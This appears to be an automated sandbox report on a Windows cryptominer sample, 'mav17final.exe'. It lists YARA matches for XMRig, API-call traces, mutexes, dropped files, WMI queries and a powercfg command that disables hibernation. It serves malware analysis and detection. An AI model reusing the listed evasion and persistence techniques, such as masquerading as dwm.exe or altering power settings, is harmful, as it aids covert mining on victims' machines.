Source: 66.2.dwm.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 66.2.dwm.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 66.2.dwm.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 00000042.00000002.3235461112.0000000140001000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown

Uses powercfg.exe to modify the power settings

Source: C:\Users\user\AppData\Local\Temp\dialer.exe

Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0

Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8B9077910 NtQuerySystemInformation,	2_2_00007FF8B9077910
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8B9072370 GetProcessHeap,HeapAlloc,NtQuerySystemInformation,GetProcessHeap,HeapFree,GetProcessHeap,HeapAlloc,NtQuerySystemInformation,GetProcessHeap,HeapFree,GetProcessHeap,HeapAlloc,NtQuerySystemInformation,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,	2_2_00007FF8B9072370
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8B9074B90 GetActiveProcessorCount,fprintf,fprintf,fprintf,NtQuerySystemInformation,	2_2_00007FF8B9074B90
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8B9076B00 GetProcessHeap,HeapAlloc,GetFileType,SetLastError,NtQueryObject,GetProcessHeap,HeapFree,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapFree,	2_2_00007FF8B9076B00
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8B9072730 OpenProcess,GetLastError,GetProcessHeap,HeapAlloc,NtQueryVirtualMemory,GetProcessHeap,HeapFree,GetProcessHeap,HeapAlloc,NtQueryVirtualMemory,CloseHandle,GetProcessHeap,HeapFree,CloseHandle,GetProcessHeap,HeapFree,CloseHandle,CloseHandle,	2_2_00007FF8B9072730
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8B9072B30 OpenProcess,GetLastError,NtSuspendProcess,NtResumeProcess,CloseHandle,	2_2_00007FF8B9072B30
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8B9077350 OpenProcess,GetLastError,NtQueryInformationProcess,RtlNtStatusToDosErrorNoTeb,CloseHandle,ReadProcessMemory,GetLastError,CloseHandle,ReadProcessMemory,NtQueryInformationProcess,CloseHandle,ReadProcessMemory,ReadProcessMemory,VirtualQueryEx,GetLastError,CloseHandle,CloseHandle,ReadProcessMemory,GetLastError,CloseHandle,CloseHandle,	2_2_00007FF8B9077350
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8B9073560 OpenProcess,GetLastError,NtQueryInformationProcess,CloseHandle,	2_2_00007FF8B9073560
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8B9073660 OpenProcess,GetLastError,NtSetInformationProcess,CloseHandle,	2_2_00007FF8B9073660
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8B9075160 GetActiveProcessorCount,fprintf,fprintf,fprintf,NtQuerySystemInformation,NtQuerySystemInformation,NtQuerySystemInformation,	2_2_00007FF8B9075160
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8B9076EB0 EnterCriticalSection,GetProcessHeap,HeapAlloc,NtQuerySystemInformation,GetProcessHeap,HeapFree,GetProcessHeap,HeapAlloc,NtQuerySystemInformation,GetProcessHeap,HeapFree,GetCurrentProcess,DuplicateHandle,GetProcessHeap,HeapFree,CloseHandle,CloseHandle,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,LeaveCriticalSection,	2_2_00007FF8B9076EB0
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8B90776F0 OpenProcess,GetLastError,NtQueryInformationProcess,CloseHandle,CloseHandle,CloseHandle,NtQueryInformationProcess,CloseHandle,CloseHandle,	2_2_00007FF8B90776F0
Source: C:\Windows\System32\conhost.exe	Code function: 64_2_0000000140001394 NtAlpcCreatePort,	64_2_0000000140001394

Source: C:\Users\user\Desktop\mav17final.exe

Code function: 2_2_00007FF8B9075750: swprintf_s,CreateFileA,DeviceIoControl,GetLastError,DeviceIoControl,swprintf_s,CloseHandle,GetLastError,fprintf,fprintf,fprintf,GetLastError,fprintf,CloseHandle,

2_2_00007FF8B9075750

Source: C:\ProgramData\dialer.exe

File created: C:\Windows\TEMP\ujjtjyeszdwn.sys

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File deleted: C:\Windows\Temp\__PSScriptPolicyTest_fmmoe5wr.s0x.ps1

Source: C:\Users\user\Desktop\mav17final.exe	Code function: 0_2_00007FF79EA617BC	0_2_00007FF79EA617BC
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 0_2_00007FF79EA47850	0_2_00007FF79EA47850
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 0_2_00007FF79EA61528	0_2_00007FF79EA61528
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 0_2_00007FF79EA5C448	0_2_00007FF79EA5C448
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 0_2_00007FF79EA53A64	0_2_00007FF79EA53A64
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 0_2_00007FF79EA41F50	0_2_00007FF79EA41F50
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 0_2_00007FF79EA61F30	0_2_00007FF79EA61F30
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 0_2_00007FF79EA5C448	0_2_00007FF79EA5C448
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 0_2_00007FF79EA650A8	0_2_00007FF79EA650A8
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 0_2_00007FF79EA4A02C	0_2_00007FF79EA4A02C
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 0_2_00007FF79EA5F5D0	0_2_00007FF79EA5F5D0
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 0_2_00007FF79EA51E10	0_2_00007FF79EA51E10
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 0_2_00007FF79EA4FDFC	0_2_00007FF79EA4FDFC
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 0_2_00007FF79EA48ED0	0_2_00007FF79EA48ED0
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 0_2_00007FF79EA55EE0	0_2_00007FF79EA55EE0
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 0_2_00007FF79EA53A64	0_2_00007FF79EA53A64
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 0_2_00007FF79EA5D354	0_2_00007FF79EA5D354
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 0_2_00007FF79EA4A338	0_2_00007FF79EA4A338
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 0_2_00007FF79EA4FB94	0_2_00007FF79EA4FB94
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 0_2_00007FF79EA5A358	0_2_00007FF79EA5A358
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 0_2_00007FF79EA57C50	0_2_00007FF79EA57C50
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 0_2_00007FF79EA61444	0_2_00007FF79EA61444
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 0_2_00007FF79EA5F9FC	0_2_00007FF79EA5F9FC
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 0_2_00007FF79EA5994C	0_2_00007FF79EA5994C
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 0_2_00007FF79EA4996D	0_2_00007FF79EA4996D
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 0_2_00007FF79EA49B04	0_2_00007FF79EA49B04
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 0_2_00007FF79EA542E8	0_2_00007FF79EA542E8
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8B9074B90	2_2_00007FF8B9074B90
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8B9072030	2_2_00007FF8B9072030
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8B9072C20	2_2_00007FF8B9072C20
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8B9075750	2_2_00007FF8B9075750
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8B9076EB0	2_2_00007FF8B9076EB0
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8B90763A0	2_2_00007FF8B90763A0
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8B9075AC0	2_2_00007FF8B9075AC0
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8B9073AE0	2_2_00007FF8B9073AE0
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8B90793E0	2_2_00007FF8B90793E0
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8B90912B0	2_2_00007FF8B90912B0
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8B9096EAC	2_2_00007FF8B9096EAC
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8B9092530	2_2_00007FF8B9092530
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8B9098D40	2_2_00007FF8B9098D40
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8B909F81C	2_2_00007FF8B909F81C
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8B9095CE0	2_2_00007FF8B9095CE0
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8B9091BB0	2_2_00007FF8B9091BB0
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8B90953A0	2_2_00007FF8B90953A0
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8B9092FF0	2_2_00007FF8B9092FF0
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8B90C1000	2_2_00007FF8B90C1000
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8B90C3E60	2_2_00007FF8B90C3E60
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8B90C2EB0	2_2_00007FF8B90C2EB0
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8B90C3BD0	2_2_00007FF8B90C3BD0
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8B90C60C0	2_2_00007FF8B90C60C0
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8B90CC7D8	2_2_00007FF8B90CC7D8
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8B93C1060	2_2_00007FF8B93C1060
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8B9F63200	2_2_00007FF8B9F63200
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8BA247778	2_2_00007FF8BA247778
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8BA249620	2_2_00007FF8BA249620
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8BFAB27A0	2_2_00007FF8BFAB27A0
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8BFAB39F0	2_2_00007FF8BFAB39F0
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8BFAB32E0	2_2_00007FF8BFAB32E0
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8BFAB2ED0	2_2_00007FF8BFAB2ED0
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8BFAB3F50	2_2_00007FF8BFAB3F50
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8BFAB1F50	2_2_00007FF8BFAB1F50
Source: C:\Windows\System32\conhost.exe	Code function: 64_2_0000000140003270	64_2_0000000140003270
Source: C:\Windows\System32\conhost.exe	Code function: 64_2_00000001400027D0	64_2_00000001400027D0

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\_MEI19682\VCRUNTIME140.dll A8F950B4357EC12CFCCDDC9094CCA56A3D5244B95E09EA6E9A746489F2D58736
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\_MEI19682\_bz2.pyd A4DD883257A7ACE84F96BCC6CD59E22D843D0DB080606DEFAE32923FC712C75A

Source: C:\Users\user\Desktop\mav17final.exe	Code function: String function: 00007FF8B9071070 appears 43 times
Source: C:\Users\user\Desktop\mav17final.exe	Code function: String function: 00007FF79EA42B30 appears 47 times
Source: C:\Users\user\Desktop\mav17final.exe	Code function: String function: 00007FF8B90717D0 appears 41 times

Source: unicodedata.pyd.0.dr

Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: mav17final.exe, 00000000.00000003.1985001146.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_hashlib.pyd. vs mav17final.exe
Source: mav17final.exe, 00000000.00000003.1987062417.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelibsslH vs mav17final.exe
Source: mav17final.exe, 00000000.00000003.1984118002.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_bz2.pyd. vs mav17final.exe
Source: mav17final.exe, 00000000.00000003.1985418927.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_ssl.pyd. vs mav17final.exe
Source: mav17final.exe, 00000000.00000003.1985128419.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_lzma.pyd. vs mav17final.exe
Source: mav17final.exe, 00000000.00000003.1989365562.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameselect.pyd. vs mav17final.exe
Source: mav17final.exe, 00000000.00000003.1983941024.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs mav17final.exe
Source: mav17final.exe, 00000000.00000003.1989557906.000001F87EF84000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameunicodedata.pyd. vs mav17final.exe
Source: mav17final.exe, 00000000.00000003.1984841967.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_elementtree.pyd. vs mav17final.exe
Source: mav17final.exe, 00000000.00000003.1987455616.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamepyexpat.pyd. vs mav17final.exe
Source: mav17final.exe, 00000000.00000003.1984475482.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_ctypes.pyd. vs mav17final.exe
Source: mav17final.exe, 00000000.00000003.1985268700.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_socket.pyd. vs mav17final.exe
Source: mav17final.exe, 00000000.00000003.1984651220.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_decimal.pyd. vs mav17final.exe
Source: mav17final.exe	Binary or memory string: OriginalFilename vs mav17final.exe
Source: mav17final.exe, 00000002.00000002.2073688952.00007FF8BA257000.00000002.00000001.01000000.00000005.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs mav17final.exe
Source: mav17final.exe, 00000002.00000002.2072844987.00007FF8B90B5000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: OriginalFilename_lzma.pyd. vs mav17final.exe
Source: mav17final.exe, 00000002.00000002.2072449949.00007FF8A8F27000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: OriginalFilenamepython311.dll. vs mav17final.exe
Source: mav17final.exe, 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmp	Binary or memory string: OriginalFilename_ctypes.pyd. vs mav17final.exe
Source: mav17final.exe, 00000002.00000002.2073022810.00007FF8B90D2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilename_bz2.pyd. vs mav17final.exe
Source: mav17final.exe, 00000002.00000002.2073189700.00007FF8B93D2000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilename_socket.pyd. vs mav17final.exe
Source: mav17final.exe, 00000002.00000002.2073339457.00007FF8B9846000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenameselect.pyd. vs mav17final.exe

Source: 66.2.dwm.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 66.2.dwm.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 66.2.dwm.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 00000042.00000002.3235461112.0000000140001000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25

Source: classification engine

Classification label: mal100.spyw.evad.mine.winEXE@100/36@1/2

Source: C:\Users\user\Desktop\mav17final.exe

Code function: 0_2_00007FF79EA48460 GetLastError,FormatMessageW,WideCharToMultiByte,

0_2_00007FF79EA48460

Source: C:\Users\user\Desktop\mav17final.exe

Code function: 2_2_00007FF8B90782E0 GetCurrentProcess,OpenProcessToken,GetLastError,ImpersonateSelf,OpenProcessToken,GetLastError,LookupPrivilegeValueA,GetLastError,AdjustTokenPrivileges,GetLastError,AdjustTokenPrivileges,RevertToSelf,FindCloseChangeNotification,

2_2_00007FF8B90782E0

Source: C:\Users\user\Desktop\mav17final.exe

Code function: 2_2_00007FF8B90756B0 GetDiskFreeSpaceExW,

2_2_00007FF8B90756B0

Source: C:\Users\user\Desktop\mav17final.exe

Code function: 2_2_00007FF8B9072C20 CreateToolhelp32Snapshot,CloseHandle,CloseHandle,Thread32First,OpenThread,GetThreadTimes,CloseHandle,Thread32Next,CloseHandle,

2_2_00007FF8B9072C20

Source: C:\Users\user\Desktop\mav17final.exe

Code function: 2_2_00007FF8B9078F50 StartServiceA,CloseServiceHandle,CloseServiceHandle,

2_2_00007FF8B9078F50

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1076:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6076:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:2944:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6088:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2076:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1200:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6772:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4180:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:3380:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:320:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1360:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4320:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5980:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5084:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:3664:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1276:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6432:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5544:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6408:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6504:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1520:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7060:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6776:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7132:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:3140:120:WilError_03
Source: C:\Windows\System32\dwm.exe	Mutant created: \BaseNamedObjects\Global\genqhuyafccnswcc
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4720:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6284:120:WilError_03

Source: C:\Users\user\Desktop\mav17final.exe

File created: C:\Users\user\AppData\Local\Temp\_MEI19682

Jump to behavior

Source: mav17final.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\dwm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor
Source: C:\Windows\System32\dwm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\dwm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\dwm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\dwm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\dwm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\dwm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\dwm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\dwm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\dwm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\dwm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\dwm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\dwm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\dwm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\dwm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\dwm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\dwm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\dwm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\dwm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\dwm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\dwm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\dwm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\dwm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\dwm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\dwm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\dwm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\dwm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\dwm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\dwm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\dwm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\dwm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\dwm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\dwm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\dwm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\dwm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\dwm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\dwm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\dwm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\dwm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\dwm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\dwm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"

Source: C:\Users\user\Desktop\mav17final.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: mav17final.exe	ReversingLabs: Detection: 34%
Source: mav17final.exe	Virustotal: Detection: 16%

Source: C:\Users\user\Desktop\mav17final.exe

File read: C:\Users\user\Desktop\mav17final.exe

Jump to behavior

